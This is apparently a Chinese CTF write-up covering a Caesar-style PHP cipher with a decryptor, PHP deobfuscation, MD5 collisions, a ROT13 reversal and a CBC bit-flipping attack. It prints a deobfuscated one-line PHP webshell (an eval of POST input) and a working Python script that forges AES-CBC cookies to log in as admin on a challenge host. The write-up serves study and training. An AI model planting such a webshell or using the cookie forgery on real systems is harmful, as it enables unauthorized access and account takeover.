凯撒密码

凯撒密码通过替换字母完成加密,每个字母由字母表中其后特定位数的字母代替。例如,Julius Caesar将字母表的后移动3个字母的位置,然后用得到的新字母表中的字母替换原消息中的每个字母。

例如,消息中的每一个A都变成D,每个B都变成E等。当Caesar需要将字母表末尾的字母(如Y)移位时,他会绕回到字母表的开头,移动3个位置到B。在本节中,将使用凯撒密码手动加密消息

已知加密函数

<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
#729623334f0aa2784a1599fd374c120d
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}#以上for循环目的是为了补齐所需要的加密算法相当于凯撒密码的转圈循环
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}#取每个的ascii码进行相加在对128取余
return base64_encode($str);
#返回结果的base64加密结果
}
?>

写出解密函数

import base64
#导入base64函数库
def decrypt(str):
text1=base64.b64decode(str)
#进行base64解密
#text1={l.&W'EG*B(W[(+G'U-0
key='729623334f0aa2784a1599fd374c120d729623'
flag=''
for i in range(len(text1)):#由密文得到循环次数
flag +=chr((ord(text1[i])-ord(key[i])+128)%128)
print(flag)
if __name__ == '__main__':
str='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
#此为已知的加密后的结果
decrypt(str)

php混淆加密

实例

<?php
define('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn', __FILE__);
$cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{6} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
$hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . ........?>

使用在线PHP混淆类在线破解网站

得到解密文件

<?php
//加密方式:php源码混淆类加密。免费版地址:https://www.zhaoyuanma.com/phpjm.html 免费版不能解密,可以使用VIP版本。
//此程序由【找源码】http://Www.ZhaoYuanMa.Com (免费版)在线逆向还原,QQ:7530782
?>
<?php
highlight_file(njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT);
@eval($_POST[ymlisisisiook]);
?>

fastcoll 生成两个md5值一样的文件与 用md5工具Hash校验

fastcoll 生成两个md5值一样的文件]: https://www.zeroplace.cn/article.asp?id=886

str_rot13()函数逆向解密

打开发现加密字符

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);//进行字符串翻转
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){//获取密文长度

$_c=substr($_o,$_0,1);//分个数截取
$__=ord($_c)+1;//将ascii码值加一
$_c=chr($__);//获取字符
$_=$_.$_c;//将字符进行连接
}
return str_rot13(strrev(base64_encode($_)));//str_rot13() 函数对字符串执行 ROT13 编码
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag

*/
$str = "flag";
$a1 = encode($str);
echo $a1;
?>

写出解密函数

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function decode($str){
$_o = base64_decode(strrev(str_rot13($str)));
for ($_0 = 0; $_0<strlen($_o);$_0++){
$_c = substr($_o,$_0,1);
$__ = ord($_c)-1;
$_c = chr($__);
$_ = $_.$_c;

}
return strrev($_);
}
echo decode($miwen);

str_rot13() 函数对字符串执行 ROT13 编码。

ROT-13 编码是一种每一个字母被另一个字母代替的方法。这个代替字母是由原来的字母向前移动 13 个字母而得到的。数字和非字母字符保持不变。

语法

str_rot13(string)

参数 描述
string 必需。规定要编码的字符串。

提示和注释

提示:编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数,那么将返回原始字符串。

CBC字节翻转攻击

image-20221018204601695

这里讲下为什么能把admil修改成admin
根据上图,我们可以知道CBC解密过程:

密文1=>解密密文1=>解密密文1 XOR 初始化向量(iv) = 明文1
密文2=>解密密文2=>解密密文2 XOR 密文1 = 明文2
密文3=>解密密文3=>解密密文3 XOR 密文2 = 明文3
以此类推,除了第一次,后面所以数据解密后都需要跟上一个密文进行异或得到明文。
从上面的解密过程可以推断出,当我们修改前一个密文的第N个字节时,会影响到后一个密文解密出来的明文的第N个字节。
例如:当我们修改密文1的第6个字节时,密文2解密时,解密后的密文2跟密文1进行异或操作,明文2的第6个字节也会受到影响。

异或特性:
解密得出明文的步骤使用了异或运算,而异或运算有个特性,是可以自定义异或结果的。
这里的讲解借用到大佬文章的讲解思路。

假设:A ^ B = C,则可得
B = A ^ C
当人为修改A=A ^ C时,
A ^ B = A ^ C ^ B = B ^ B = 0
当人为修改A=A ^ C ^ x (x为任意数值)时,
A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x

举例:
密文1[4]的意思是密文1字符串第4个字节,相当于数组下标。
设:密文1[4] = A,解密(密文2)[4] = B,明文2[4] = C
因为A ^ B = C,根据结论有B = A ^ C
当人为修改A=A ^ C时,那么A ^ B = A ^ C ^ B = B ^ B = 0,这样明文2[4]的结果就为0了
当人为修改A=A ^ C ^ x (x为任意数值)时,那么
A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x,这是明文2[4] = x,这样就达到了控制明文某个字节的目的了。

首先进行代码审计

//设置cookie的流程调用的函数,返回一个随机的iv和使用该iv加密的post提交的username和password的结果——cipher
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

//检查函数,这里是对cookie中cipher和iv进行CBC翻转的利用点
function check_login(){
//如果cookie中设置了cipher和iv参数
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
//将cipher和iv参数都进行base64解码
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
//进行CBC模式的AES解密
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
//对解密结果进行反序列化,设置session中的username为反序列化后数组中的username的值
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
//根据session中username参数,控制显示结果
function show_homepage(){
//如果session中的username为admin,则返回flag
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
//检查是否带有username和password参数,如果有参数,进入设置cookie的路径
//如果没有设置参数,进入判断cookie路径
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
//不允许提交的username为admin
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
//如果session中的username字段已经存在了,既登陆过了,则进入
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
.................
}

以上代码考察了CBC翻转攻击的利用。它禁止直接提交用户名为admin进行登陆,但是返回flag的条件又是session中用户名要是admin。所以需要构造类似”xdmin”形式或者”axmin”等形式的用户名,之后通过修改iv和cipher,通过CBC翻转攻击将字符x还原成”admin”

代码中涉及到了序列化,数组序列化结果参考如下(这里使用ydmin和123作为username和password):

a:2:{s:8:"username";s:5:"ydmin";s:8:"password";s:3:"123"}

攻击过程如下:

1、修改能够得到的密文的第一块(前16个字节),使得第二块密文块结果的字符中ydmin能变成admin
2、由于操作1导致第一块密文块解密后得到错误结果,修正IV初始化向量,将第一块的明文结果还原成a:2:{s:8:"userna

写出python脚本

#!/bin/env python2
import base64
import urllib
import requests
import re

session = "uubpkpbv56dtkiorccjc8md3r0"
cipher = "gn5OKkTDH1CXJv9w11bK7JEqnhzhGSzVs84FNwZ2Zfi1c1PEeQdF1jUXn2lIy3SInj8pJiVajWEF73Fl%2BgLThA%3D%3D"
iv = "PGUt3F%2FPwu93r7DGTBQvKg%3D%3D"

#进行url编码解码和base64解码操作
iv_raw = base64.b64decode(urllib.unquote(iv))
cipher_raw = base64.b64decode(urllib.unquote(cipher))
#a:2:{s:8:"username";s:5:"ydmin";s:8:"password";s:3:"123"}

#计算修正cipher,使得第二块的y可以变成a(原理回顾上述异或结论)
cipher_new = cipher_raw[0:9] + chr(ord(cipher_raw[9]) ^ ord('y') ^ ord('a') ) + cipher_raw[10:]
cipher_new = urllib.quote(base64.b64encode(cipher_new))
print cipher_new
#########################################################
#拿新的cipher作为cookie访问,拿到继续修正iv的数据
url="http://118.89.219.210:49168/index.php"
cooky={
"iv":iv,
"cipher":cipher_new,
"PHPSESSID":session
}
#这里本地测试,使用了Burpsuit代理
proxy={
"http":"http://192.168.155.1:8082"
}
x = requests.session()
res = x.get(url, cookies=cooky, proxies=proxy)
text = str(res.text)
#print text
########################################################
#使用正则提取目前cipher解密后的结果(第一块损坏)
prog = re.compile("decode\('(.*)'\)")
match = prog.search(text)
new_plain = ""
if match:
new_plain = match.group(1)
#print new_plain
new_plain = base64.b64decode(new_plain)
########################################################
#对iv进行修正,使得新的iv可以使得第一块密文块解密得到正确结果
real_first_blk = 'a:2:{s:8:"userna'
iv_new=""
for i in range(0,16):
iv_new += chr(ord(iv_raw[i]) ^ ord(new_plain[i]) ^ ord(real_first_blk[i]))

print urllib.quote(base64.b64encode(iv_new))

其中注意非常重要的一点当使用cookies进行访问时并不需要POST 提交username和passwd数据但是如果同时提交可能会出现未曾预料的效果